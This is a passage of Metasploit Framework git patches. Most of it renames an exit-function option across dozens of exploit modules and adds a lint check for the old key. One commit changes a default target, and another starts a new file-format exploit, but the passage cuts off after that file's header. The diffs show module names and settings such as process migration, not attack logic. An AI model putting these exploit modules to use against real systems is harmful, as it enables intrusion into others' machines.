b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb index 17296c5055..b72343ea6c 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_file_upload.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb index ca6a24c3da..dd0fcbfbbc 100644 --- a/modules/exploits/linux/http/symantec_web_gateway_lfi.rb +++ b/modules/exploits/linux/http/symantec_web_gateway_lfi.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote { 'WfsDelay' => 300, #5 minutes 'DisablePayloadHandler' => 'false', - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/linux/http/wanem_exec.rb b/modules/exploits/linux/http/wanem_exec.rb index 67cb01534f..904afab6d8 100644 --- a/modules/exploits/linux/http/wanem_exec.rb +++ b/modules/exploits/linux/http/wanem_exec.rb @@ -49,7 +49,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'none' }, 'Targets' => [ diff --git a/modules/exploits/linux/http/zen_load_balancer_exec.rb b/modules/exploits/linux/http/zen_load_balancer_exec.rb index f4cfd0765d..ef5e5113f8 100644 --- a/modules/exploits/linux/http/zen_load_balancer_exec.rb +++ b/modules/exploits/linux/http/zen_load_balancer_exec.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'none' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/linux/misc/hp_vsa_login_bof.rb b/modules/exploits/linux/misc/hp_vsa_login_bof.rb index ff70cf386d..9d8892643a 100644 --- a/modules/exploits/linux/misc/hp_vsa_login_bof.rb +++ b/modules/exploits/linux/misc/hp_vsa_login_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['linux'], 'Arch' => ARCH_X86, diff --git a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb index 6c60536356..2a112d9f71 100644 --- a/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb +++ b/modules/exploits/linux/ssh/quantum_vmpro_backdoor.rb @@ -31,7 +31,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Payload' => { diff --git a/modules/exploits/linux/ssh/symantec_smg_ssh.rb b/modules/exploits/linux/ssh/symantec_smg_ssh.rb index 96f568d23b..e9a75c612b 100644 --- a/modules/exploits/linux/ssh/symantec_smg_ssh.rb +++ b/modules/exploits/linux/ssh/symantec_smg_ssh.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Payload' => { diff --git a/modules/exploits/multi/http/apprain_upload_exec.rb b/modules/exploits/multi/http/apprain_upload_exec.rb index 9886a77bf7..e255900dfe 100644 --- a/modules/exploits/multi/http/apprain_upload_exec.rb +++ b/modules/exploits/multi/http/apprain_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/cuteflow_upload_exec.rb b/modules/exploits/multi/http/cuteflow_upload_exec.rb index c11754860d..ff4acd7b7a 100644 --- a/modules/exploits/multi/http/cuteflow_upload_exec.rb +++ b/modules/exploits/multi/http/cuteflow_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb index c7b8ba285e..91c638d909 100644 --- a/modules/exploits/multi/http/log1cms_ajax_create_folder.rb +++ b/modules/exploits/multi/http/log1cms_ajax_create_folder.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/php_volunteer_upload_exec.rb b/modules/exploits/multi/http/php_volunteer_upload_exec.rb index 642b983080..388ce73409 100644 --- a/modules/exploits/multi/http/php_volunteer_upload_exec.rb +++ b/modules/exploits/multi/http/php_volunteer_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/qdpm_upload_exec.rb b/modules/exploits/multi/http/qdpm_upload_exec.rb index 1e03ea297d..0733d78340 100644 --- a/modules/exploits/multi/http/qdpm_upload_exec.rb +++ b/modules/exploits/multi/http/qdpm_upload_exec.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => %w{ linux php }, 'Targets' => diff --git a/modules/exploits/multi/http/testlink_upload_exec.rb b/modules/exploits/multi/http/testlink_upload_exec.rb index ea07c3e3f2..759dc9d86c 100644 --- a/modules/exploits/multi/http/testlink_upload_exec.rb +++ b/modules/exploits/multi/http/testlink_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'php', 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/webpagetest_upload_exec.rb b/modules/exploits/multi/http/webpagetest_upload_exec.rb index f7a72adae9..85466e8107 100644 --- a/modules/exploits/multi/http/webpagetest_upload_exec.rb +++ b/modules/exploits/multi/http/webpagetest_upload_exec.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/multi/http/wikka_spam_exec.rb b/modules/exploits/multi/http/wikka_spam_exec.rb index 79008a0c42..3e35d782a0 100644 --- a/modules/exploits/multi/http/wikka_spam_exec.rb +++ b/modules/exploits/multi/http/wikka_spam_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Arch' => ARCH_PHP, 'Platform' => ['php'], diff --git a/modules/exploits/multi/misc/batik_svg_java.rb b/modules/exploits/multi/misc/batik_svg_java.rb index d78c68eebc..1f9b79cf27 100644 --- a/modules/exploits/multi/misc/batik_svg_java.rb +++ b/modules/exploits/multi/misc/batik_svg_java.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => %w{ java linux win }, 'Targets' => diff --git a/modules/exploits/multi/misc/hp_vsa_exec.rb b/modules/exploits/multi/misc/hp_vsa_exec.rb index 08545a601c..19d12eac2c 100644 --- a/modules/exploits/multi/misc/hp_vsa_exec.rb +++ b/modules/exploits/multi/misc/hp_vsa_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => %w{ linux unix }, 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb index 002e91cde3..d874001296 100644 --- a/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb +++ b/modules/exploits/unix/ssh/array_vxag_vapv_privkey_privesc.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/egallery_upload_exec.rb b/modules/exploits/unix/webapp/egallery_upload_exec.rb index 75e2c1b2b6..8324f65847 100644 --- a/modules/exploits/unix/webapp/egallery_upload_exec.rb +++ b/modules/exploits/unix/webapp/egallery_upload_exec.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/unix/webapp/opensis_modname_exec.rb b/modules/exploits/unix/webapp/opensis_modname_exec.rb index 0817c8863f..7bc5162c2a 100644 --- a/modules/exploits/unix/webapp/opensis_modname_exec.rb +++ b/modules/exploits/unix/webapp/opensis_modname_exec.rb @@ -44,7 +44,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => 'none' + 'EXITFUNC' => 'none' }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/php_charts_exec.rb b/modules/exploits/unix/webapp/php_charts_exec.rb index 7089e5a75e..43137f9c02 100644 --- a/modules/exploits/unix/webapp/php_charts_exec.rb +++ b/modules/exploits/unix/webapp/php_charts_exec.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'unix', 'Arch' => ARCH_CMD, diff --git a/modules/exploits/unix/webapp/xoda_file_upload.rb b/modules/exploits/unix/webapp/xoda_file_upload.rb index 45e7ecf389..1cd9b195ee 100644 --- a/modules/exploits/unix/webapp/xoda_file_upload.rb +++ b/modules/exploits/unix/webapp/xoda_file_upload.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => ['php'], 'Arch' => ARCH_PHP, diff --git a/modules/exploits/windows/browser/clear_quest_cqole.rb b/modules/exploits/windows/browser/clear_quest_cqole.rb index 056fbcadd4..f9f806ec38 100644 --- a/modules/exploits/windows/browser/clear_quest_cqole.rb +++ b/modules/exploits/windows/browser/clear_quest_cqole.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/getgodm_http_response_bof.rb b/modules/exploits/windows/browser/getgodm_http_response_bof.rb index 89655a35c9..82f10aaad3 100644 --- a/modules/exploits/windows/browser/getgodm_http_response_bof.rb +++ b/modules/exploits/windows/browser/getgodm_http_response_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process', 'URIPATH' => "/shakeitoff.mp3" }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb index 50e7a92819..75ec6ccbb8 100644 --- a/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb +++ b/modules/exploits/windows/browser/hp_alm_xgo_setshapenodetype_exec.rb @@ -54,7 +54,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'EXITFUNC' => "none", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/ie_execcommand_uaf.rb b/modules/exploits/windows/browser/ie_execcommand_uaf.rb index d50fcc1ad8..89a450b8e5 100644 --- a/modules/exploits/windows/browser/ie_execcommand_uaf.rb +++ b/modules/exploits/windows/browser/ie_execcommand_uaf.rb @@ -59,7 +59,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'EXITFUNC' => "none", 'InitialAutoRunScript' => 'migrate -f', }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb index 53fa511a44..1279add8bf 100644 --- a/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb +++ b/modules/exploits/windows/browser/msxml_get_definition_code_exec.rb @@ -56,7 +56,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb index 3fbb8e2519..66576fcaa6 100644 --- a/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb +++ b/modules/exploits/windows/browser/samsung_neti_wiewer_backuptoavi_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "seh", + 'EXITFUNC' => "seh", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb index 2c6ac3d718..73248df198 100644 --- a/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb +++ b/modules/exploits/windows/browser/tom_sawyer_tsgetx71ex552.rb @@ -60,7 +60,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb index d6a3a68beb..f9d099b16c 100644 --- a/modules/exploits/windows/fileformat/actfax_import_users_bof.rb +++ b/modules/exploits/windows/fileformat/actfax_import_users_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb index 17dac30a57..db4cd5054d 100644 --- a/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/allplayer_m3u_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb index 179ccd7920..2829f51760 100644 --- a/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb +++ b/modules/exploits/windows/fileformat/blazedvd_hdtv_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "seh" + 'EXITFUNC' => "seh" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb index ca3e15e01a..969ebb8357 100644 --- a/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb +++ b/modules/exploits/windows/fileformat/bpftp_client_bps_bof.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb index fbf0c7c8f3..0b2d97b6ff 100644 --- a/modules/exploits/windows/fileformat/easycdda_pls_bof.rb +++ b/modules/exploits/windows/fileformat/easycdda_pls_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb index daaee920d9..3599cff018 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_bof.rb @@ -50,7 +50,7 @@ class Metasploit3 < Msf::Exploit::Remote 'SaveRegisters' => [ 'ESP' ], 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb index 2fda926aee..d483de7237 100644 --- a/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb +++ b/modules/exploits/windows/fileformat/erdas_er_viewer_rf_report_error.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb index 197a28bafe..7d3ce353aa 100644 --- a/modules/exploits/windows/fileformat/iftp_schedule_bof.rb +++ b/modules/exploits/windows/fileformat/iftp_schedule_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb index 8ed9744322..b7e0c3bcea 100644 --- a/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb +++ b/modules/exploits/windows/fileformat/ispvm_xcf_ispxcf.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/lattice_pac_bof.rb b/modules/exploits/windows/fileformat/lattice_pac_bof.rb index c9c1882901..d38fb4f8b2 100644 --- a/modules/exploits/windows/fileformat/lattice_pac_bof.rb +++ b/modules/exploits/windows/fileformat/lattice_pac_bof.rb @@ -42,7 +42,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "seh" + 'EXITFUNC' => "seh" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb index c236b0c90d..882fd8484f 100644 --- a/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb +++ b/modules/exploits/windows/fileformat/mplayer_m3u_bof.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/ms12_005.rb b/modules/exploits/windows/fileformat/ms12_005.rb index 2daf558aee..33f96464b1 100644 --- a/modules/exploits/windows/fileformat/ms12_005.rb +++ b/modules/exploits/windows/fileformat/ms12_005.rb @@ -45,7 +45,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none", + 'EXITFUNC' => "none", 'DisablePayloadHandler' => 'false' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb index d580f94d13..edbf3a8a0e 100644 --- a/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb +++ b/modules/exploits/windows/fileformat/mswin_tiff_overflow.rb @@ -76,7 +76,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process", + 'EXITFUNC' => "process", 'PrependMigrate' => true }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/publishit_pui.rb b/modules/exploits/windows/fileformat/publishit_pui.rb index b8b825db62..dc41e5e9e7 100644 --- a/modules/exploits/windows/fileformat/publishit_pui.rb +++ b/modules/exploits/windows/fileformat/publishit_pui.rb @@ -33,7 +33,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb index daa86cbb38..688bcd1daa 100644 --- a/modules/exploits/windows/fileformat/real_player_url_property_bof.rb +++ b/modules/exploits/windows/fileformat/real_player_url_property_bof.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process' + 'EXITFUNC' => 'process' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb index 69b1b8775e..0d60980bf9 100644 --- a/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb +++ b/modules/exploits/windows/fileformat/realplayer_ver_attribute_bof.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'seh' + 'EXITFUNC' => 'seh' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb index 169f4e40e6..4f63f62f89 100644 --- a/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb +++ b/modules/exploits/windows/fileformat/tfm_mmplayer_m3u_ppl_bof.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'seh', + 'EXITFUNC' => 'seh', 'InitialAutoRunScript' => 'migrate -f' }, 'Platform' => 'win', diff --git a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb index d216229734..a5da75671a 100644 --- a/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb +++ b/modules/exploits/windows/fileformat/total_video_player_ini_bof.rb @@ -32,7 +32,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/ftp/quickshare_traversal_write.rb b/modules/exploits/windows/ftp/quickshare_traversal_write.rb index 697aefa878..b3a6fd3fd8 100644 --- a/modules/exploits/windows/ftp/quickshare_traversal_write.rb +++ b/modules/exploits/windows/ftp/quickshare_traversal_write.rb @@ -43,7 +43,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/ezserver_http.rb b/modules/exploits/windows/http/ezserver_http.rb index 915370b03d..ef2e7030eb 100644 --- a/modules/exploits/windows/http/ezserver_http.rb +++ b/modules/exploits/windows/http/ezserver_http.rb @@ -36,7 +36,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'seh' + 'EXITFUNC' => 'seh' }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/http/intrasrv_bof.rb b/modules/exploits/windows/http/intrasrv_bof.rb index 696c54499b..18dfa6cf7e 100644 --- a/modules/exploits/windows/http/intrasrv_bof.rb +++ b/modules/exploits/windows/http/intrasrv_bof.rb @@ -41,7 +41,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "thread" + 'EXITFUNC' => "thread" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/http/rabidhamster_r4_log.rb b/modules/exploits/windows/http/rabidhamster_r4_log.rb index e2588be454..7acd34e5f9 100644 --- a/modules/exploits/windows/http/rabidhamster_r4_log.rb +++ b/modules/exploits/windows/http/rabidhamster_r4_log.rb @@ -38,7 +38,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "process" + 'EXITFUNC' => "process" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/misc/allmediaserver_bof.rb b/modules/exploits/windows/misc/allmediaserver_bof.rb index b7cad7c88a..b592b3cc76 100644 --- a/modules/exploits/windows/misc/allmediaserver_bof.rb +++ b/modules/exploits/windows/misc/allmediaserver_bof.rb @@ -37,7 +37,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', #none/process/thread/seh + 'EXITFUNC' => 'process', #none/process/thread/seh }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/scada/winlog_runtime_2.rb b/modules/exploits/windows/scada/winlog_runtime_2.rb index aae027fa49..0fe62853af 100644 --- a/modules/exploits/windows/scada/winlog_runtime_2.rb +++ b/modules/exploits/windows/scada/winlog_runtime_2.rb @@ -35,7 +35,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'DefaultOptions' => { - 'ExitFunction' => 'process', + 'EXITFUNC' => 'process', }, 'Platform' => 'win', 'Payload' => diff --git a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb index 146664e239..9661290530 100644 --- a/modules/exploits/windows/tftp/distinct_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/distinct_tftp_traversal.rb @@ -40,7 +40,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'win', 'Targets' => diff --git a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb index 1dda4114cb..4dae3e86ce 100644 --- a/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb +++ b/modules/exploits/windows/tftp/netdecision_tftp_traversal.rb @@ -39,7 +39,7 @@ class Metasploit3 < Msf::Exploit::Remote }, 'DefaultOptions' => { - 'ExitFunction' => "none" + 'EXITFUNC' => "none" }, 'Platform' => 'win', 'Targets' => diff --git a/tools/msftidy.rb b/tools/msftidy.rb index 34ec47a17b..0f51951ce8 100755 --- a/tools/msftidy.rb +++ b/tools/msftidy.rb @@ -555,6 +555,10 @@ class Msftidy end end + if ln =~ /['"]ExitFunction['"]\s*=>/ + warn("Please use EXITFUNC instead of ExitFunction #{ln}", idx) + end + end end From 02c6ea31bb45e05f70277f45515722b985db2045 Mon Sep 17 00:00:00 2001 From: Tod Beardsley <tod_beardsley@rapid7.com> Date: Thu, 13 Aug 2015 14:42:21 -0500 Subject: [PATCH 0268/2172] Use the more recent HD version as default target --- modules/exploits/windows/fileformat/homm3_h3m.rb | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/modules/exploits/windows/fileformat/homm3_h3m.rb b/modules/exploits/windows/fileformat/homm3_h3m.rb index 6aa41e1263..dd83c0b103 100644 --- a/modules/exploits/windows/fileformat/homm3_h3m.rb +++ b/modules/exploits/windows/fileformat/homm3_h3m.rb @@ -101,7 +101,7 @@ class Metasploit3 < Msf::Exploit::Remote ], 'Privileged' => false, 'DisclosureDate' => 'Jul 29 2015', - 'DefaultTarget' => 0)) + 'DefaultTarget' => 1)) register_options( [ From 03eb2d71b2b65f54b270293e350713544e6c9d68 Mon Sep 17 00:00:00 2001 From: jakxx <jakx.ppr@gmail.com> Date: Thu, 13 Aug 2015 16:26:17 -0400 Subject: [PATCH 0269/2172] Add watermark fileformat exploit --- .../windows/fileformat/watermark_master.rb | 93 +++++++++++++++++++ 1 file changed, 93 insertions(+) create mode 100644 modules/exploits/windows/fileformat/watermark_master.rb diff --git a/modules/exploits/windows/fileformat/watermark_master.rb b/modules/exploits/windows/fileformat/watermark_master.rb new file mode 100644 index 0000000000..fbbcb62ed9 --- /dev/null +++ b/modules/exploits/windows/fileformat/watermark_master.rb @@ -0,0 +1,93 @@ +## +# This module requires Metasploit: http://metasploit.com/download +# Current source: https://github.com/rapid7/metasploit-framework +## + +require 'msf/core' + +class Metasploit3 < 